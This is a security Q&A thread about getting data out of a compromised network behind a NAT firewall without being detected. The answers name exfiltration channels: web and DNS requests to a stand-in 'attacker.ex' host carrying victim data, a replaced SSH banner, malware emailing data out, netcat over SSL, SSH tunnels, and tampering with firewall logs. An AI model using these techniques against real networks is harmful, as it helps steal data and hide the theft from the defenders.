Get data without Firewall detection

Question

I was browsing through some cyber security questions and I came across a question that kept sticking in my mind so I figured maybe I just ask here.

The question is:

What is a way to get data from a private network you hacked, without being detected. The network has a NAT gateway (including firewall) to the public Internet.

I was thinking: as there is a firewall in place, most incoming connections will probably be logged or blocked. So in order to get data I would try to start the transmission from within the network to the public internet. Also, as the system is already hacked, I could save the Firewall log before transmitting data and restore them after the copy file transaction is complete.

Is my idea complete crap or is there a clear answer to this? This is just out of curiosity, I do not want to motivate someone to describe detail hacking skills now, just a general approach would be great.

Answer 1

In my own opinion when it comes to data exfiltration you should approach the situation from two:

• Public facing network (our NAT gateway (including firewall))
• Internal network (internal VLANs, the internal network)

In general NAT gateway (including firewall) will do nothing at all (nada, blank, only IPs and ports.. hooray!) to protect any data as far as the opened (forwarded) ports with their respective services or applications are vulnerable.

If you have in your network a vulnerable application with Remote Code Execution and you expose it to the world then is job done. Is just a mater of time until an attacker with knowledge to the RCE will exfill data from that server and other assets from the internal network (pivoting through the first web server).

Even more an NAT gateway (including firewall) will not protect you from Reverse Shells or other means of data exfiltration from the internal network.

Also in case of a Web Application you do not even want to worry about logs as they would only log access (prohibited or not). Your expose Web Application to the world, thanks and I know that I will look just like a legitimate user when sending the payload as far as I am not sending a lot of requests per second.

In a short answer, In my opinion:

• The best way to detect an attack over an Web Application is to use an WAF.
• The best way to detect an attack on something is to use an IPS/IDS.
• The best way to protect data leakage is to have an DLP and an IDS at the lvl of network with certain on host or on server appliances.
• The best way to restrict and manage access to your network is to use a firewall.

Some tricky ways to extract data from an internal network or from an internal application servers:

• Over port 0 (yes, it is a port)
• Over web requests (I request attacker.ex/data?=this_is_the_victim_data)
• Over DNS requests (I request this_is_the_victim_data.attacker.ex)
• Over VPNs or proxy (It should be your last option as it can be easily detected)
• Over some public and legitimate services (Web Applications, ftps, ftp etc.)
• By replacing an legitimate services (for example replace the ssh service on a compromised public faced server and extract data through the generally ignored ssh banner)
• Sky is the limit here...

Yes, for: "Also, as the system is already hacked, I could save the Firewall log before transmitting data and restore them after the copy file transaction is complete."

"Is my idea complete crap or is there a clear answer to this?" Is hard to replace a log but was done it before, I have done it before.

Let's not add all the ways you could be not be logged or block by a firewall and keep it for a better day.

Answer 2

Without more context for the question, its very hard to suggest anything concrete. "hacked" implies you have some sort of presence within the network and is presumably not in scope as to the question of detection - so except for the case where you have some malware running autonomously inside the network then it is hard to conceive what sort of compromise you've achieved which does not allow you to exfiltrate data.

But leaving that aside for now - you need a mechansim which is not blocked by the existing controls, not detected by the existing controls and hopefully not logged by the existing controls. As the other answers say "NAT" in itself means nothing - it might mean that only specific IP addreses have mappings to external addresses. It might mean that everything is masqueraded. It might mean that port forwarding is allowed.

One approach which ticks a lot of boxes would be DNS. It uses UDP, so its easy to fake an address. The existing infrastructure might be co-opted to facilitate the operation. OTOH, encoding data in DNS lookups is not the most efficient solution in terms of throughput. Better edge devices will detect this kind of activity unless you really throttle the rate.

Another approach to make your traffic look like expected traffic would be to have your malware connect up to gmail/hotmail over TLS (checking the certificate) and simply email out the data.

Answer 3

So Lucian's answer is pretty detailed, I only plan to add to it here.

There's a few ways to get your data exfiltrated without being detected by a firewall.

Most firewalls assume that clients on their network need web access. That means they might be beaconing out over ports 80 and 443. So when you exfiltrate back to your attacking machine do it over those ports.

Another trick is to use netcat and not nc. netcat has a ssl option. So you can create a secured connection and avoid any deep packet inspection the network might be doing.

If you have an ssh connection you can tunnel it out that way. This would be the most secure option.

Disclaimers are:

1. I'm not a professional penetration tester so I'm sure there's a lot I missed.
2. Your method of exfiltration is going to be highly dependent on your target and the network.